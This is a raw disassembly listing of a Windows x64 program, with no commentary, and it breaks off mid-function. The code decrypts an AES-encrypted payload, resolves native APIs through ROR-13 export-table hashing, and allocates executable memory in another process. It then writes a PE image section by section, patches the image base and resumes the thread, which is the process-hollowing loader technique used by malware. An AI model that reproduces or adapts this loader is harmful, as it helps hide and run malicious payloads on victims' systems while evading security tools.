jmp 0x14000633a
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, esi
je 0x1400062c8
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006315
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x1b80]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, esi
je 0x1400062f2
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006315
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x38]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, esi
je 0x140006331
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r15, qword [rbp - 0x38]
add r15, rbx
mov qword [rsp + 0x60], r15
xor eax, eax
mov r14d, eax
test rbx, rbx
je 0x1400063fc
lea rcx, str.ZwAllocateVirtualMemory
mov edi, eax
mov al, 0x5a
nop
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140006360
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r15d, dword [rcx + 0x1c]
add r15, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x1400063f7
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x1400063d3
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x1400063c0
cmp ecx, edi
je 0x1400063e8
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, r14
jb 0x1400063b0
jmp 0x1400063f7
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r15 + rcx*4]
add rax, rbx
mov r15, qword [rsp + 0x60]
sub rax, rbx
mov qword [rbp + 0x560], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000643c
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400064f2
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, esi
je 0x14000648d
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400064e9
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x560]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1b40]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, esi
je 0x1400064bd
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000646f
movsxd r14, dword [rbp - 0x58]
lea rdx, [rbp + 0x1b40]
add rdx, r14
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, esi
je 0x1400064e5
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000646f
add r14d, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006528
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400065cf
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, esi
je 0x14000655d
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400065aa
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x1b40]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, esi
je 0x140006587
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400065aa
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x18]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, esi
je 0x1400065c6
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
add rbx, qword [rbp - 0x18]
lea rdi, [rbp]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x10000b
lea rdx, [rbp]
mov rcx, qword [r12 + 8]
call r15
mov rcx, qword [r12]
test eax, eax
jns 0x140006776
mov edx, 0xfffffffb
call qword [0x140017348]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140006650
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000664a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000664a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor edi, edi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], dil
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x1400066b0
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x14000670e
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006708
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006708
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x14000676c
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006766
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006766
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 0xfffffffb
jmp 0x1400049dc
mov rax, qword [r13 + 0x30]
mov qword [rbp - 0x40], rax
mov eax, dword [r13 + 0x50]
mov qword [rbp + 0x568], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x568]
xor r8d, r8d
lea rdx, [rbp - 0x40]
call rbx
test eax, eax
js 0x140007222
cmp qword [rbp - 0x40], 0
je 0x140007222
lea rcx, [0x14000e868]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140006961
lea rdx, str.Failed_to_get_handle_to_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x14000683e
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006838
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006838
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor edi, edi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], dil
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x14000689e
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006898
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006898
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x1400068fc
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x14000695a
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006954
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006954
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor eax, eax
jmp 0x1400049dc
lea rdx, str.ZwWriteVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1934], 0xffffffff
mov dword [rbp + 0x5b4], eax
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, esi
mov dword [rbp + rsi*4 + 0x5b4], eax
inc rsi
cmp rsi, 0x270
jb 0x140006990
mov dword [rbp + 0x5b0], 0x270
lea rcx, [rbp + 0x5b0]
call fcn.14000ad00
test r14, r14
jne 0x140006b5f
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140001280
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140006a3a
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor edi, edi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], dil
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140006a9a
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140006af8
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006af2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006af2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x1400049d7
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
jmp 0x1400049d7
mov r9d, dword [r13 + 0x54]
lea rax, [rbp + 0x5a8]
mov qword [rsp + 0x20], rax
lea r8, [0x1400150c0]
mov rdx, qword [rbp - 0x40]
mov rcx, qword [r12]
call r14
xor ebx, ebx
mov edi, ebx
mov rsi, qword [rsp + 0x68]
cmp bx, word [r13 + 6]
jae 0x140006bee
mov r15, qword [rsp + 0x50]
movsxd rax, dword [0x1400150fc]
add rax, rbx
lea rcx, [0x1400150c0]
mov r9d, dword [rax + rcx + 0x118]
mov r8d, dword [rax + rcx + 0x11c]
add r8, rcx
mov edx, dword [rax + rcx + 0x114]
add rdx, qword [rbp - 0x40]
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [r12]
call r15
test eax, eax
je 0x140006c72
inc rdi
add rbx, 0x28
movzx eax, word [r13 + 6]
cmp rdi, rax
jb 0x140006b96
xor ebx, ebx
mov rdx, qword [rbp + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp - 0x40]
mov rcx, qword [r12]
call r14
test eax, eax
je 0x140006f17
mov edx, 0xfffffff7
mov rcx, qword [r12]
call qword [0x140017348]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140006df3
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ded
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ded
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov edx, 0xfffffff8
mov rcx, qword [r12]
call qword [0x140017348]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140006cc7
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006cc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006cc1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor edi, edi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], dil
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140006d27
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d21
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140006d85
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x140006de3
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ddd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ddd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 0xfffffff8
jmp 0x1400049dc
call fcn.14000bebc
nop
mov qword [rbp + 0x508], rbx
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140006e51
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006e4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rbx
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140006eaf
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ea9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ea9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rbx
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x140006f0d
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f07
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 0xfffffff7
jmp 0x1400049dc
mov eax, dword [r13 + 0x28]
add rax, qword [rbp - 0x40]
mov qword [rbp + 0x80], rax
lea rdx, [rbp]
mov rcx, qword [r12 + 8]
call qword [rbp - 0x80]
xor edx, edx
mov rcx, qword [r12 + 8]
call rsi
test eax, eax
je 0x1400070bc
mov edx, 0xfffffff5
mov rcx, qword [r12]
call qword [0x140017348]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140006f98
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x508], rbx
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140006ff6
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ff0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ff0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rbx
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140007054
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000704e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000704e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rbx
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x1400070b2
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 0xfffffff5
jmp 0x1400049dc
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140007101
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x508], rbx
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x14000715f
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007159
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007159
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rbx
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x1400071bd
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400071b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rbx
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x14000721b
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007215
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007215
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor eax, eax
jmp 0x1400049dc
lea rdx, str.ZwAllocateVirtualMemory_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xfffffffa
mov rcx, qword [r12]
call qword [0x140017348]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x14000729a
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007294
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007294
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor edi, edi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], dil
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x1400072fa
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
